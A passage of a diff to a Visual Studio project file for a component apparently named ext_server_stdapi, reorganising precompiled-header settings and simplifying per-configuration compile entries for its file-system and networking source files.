||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -399,6 +388,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -450,9 +440,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -461,6 +448,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -512,9 +500,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -522,6 +507,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -572,9 +558,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -582,6 +565,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -615,492 +599,47 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\general.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\general.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\arp.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\netstat.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\resolve.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\stdapi.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">Create</PrecompiledHeader>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">Create</PrecompiledHeader>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">Create</PrecompiledHeader>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\dir.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\file.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\fs_util.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreCompiledHeader>Create</PreCompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\dir.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\file.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\fs_util.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\fs\search.c" />
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\net.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\interface.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\route.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\extensions\stdapi\server\net\socket\tcp.c">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
